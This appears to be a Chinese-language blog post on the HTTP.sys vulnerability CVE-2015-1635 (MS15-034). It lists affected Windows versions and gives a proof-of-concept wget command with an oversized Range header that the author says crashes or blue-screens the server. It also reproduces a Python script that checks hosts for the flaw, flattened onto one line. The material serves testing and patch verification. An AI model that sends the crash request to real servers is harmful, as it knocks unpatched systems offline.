HTTP.sys遠程執行代碼漏洞(CVE-2015-1635,MS15-034)
遠程執行代碼漏洞存在於 HTTP 協議堆棧 (HTTP.sys) 中,當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。
成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼。
https://technet.microsoft.com/zh-cn/library/security/MS15-034
漏洞出來了POC,測試如下:
影響版本:
windows 2008 R2
windows sever 2012
windows 7
windows 8 8.1
安裝IIS6.0以上。 (IIS version > 6.0)
HTTP.sys不懂其他地方用不用,所以暫時只了解影響WEB服務器。
測試POC:
系統必假死或者藍屏:
wget --header="Range: bytes=18-18446744073709551615" http://192.168.200.49/welcome.png
https://github.com/yanyueoo7/TestOne/blob/master/CVE-2015-1635.py
#!/usr/bin/env python # -*- coding: utf-8 -*- #date 2015/04/20 #The IIS Vul (CVE-2015-1635,MS15-034)Check Script. #HTTP.sys Remote Code Execute. import sys import requests def main(): ip_Str = sys.argv[1] Check_CVE_2015_1635(ip_Str) def Check_CVE_2015_1635(Ip_Str): if Ip_Str: Server_Tag = ['Microsoft-HTTP','Microsoft-IIS'] Tmp_Req_Url = str(''.join(['http://',Ip_Str])) Request_Tmp = requests.get(Tmp_Req_Url) remote_server = Request_Tmp.headers[ 'server'] if (tmp_tag in remote_server for tmp_tag in Server_Tag): print("[+] Web Service Is " + remote_server) MS15_034_Execute(Tmp_Req_Url) else: print("[+] Web Service Is Not IIS\n[+] May Be " + remote_server) def MS15_034_Execute(domain): print("[+] Start Checking...") Req_headers = {'Host': 'stuff','Range': 'bytes=0-18446744073709551615'} Request = requests.get(domain, headers=Req_headers) if 'Requested Range Not Satisfiable' in Request.content: print("[+] The HTTP.sys remote code execution vulnerability Is Exists!") elif 'The request has an invalid header name' in Request.content: print("[+] The vulnerability has been fixed!") else: print("[+] The IIS service was unable to display the vulnerability exists, the need for manual testing!") if __name__ == '__main__': main()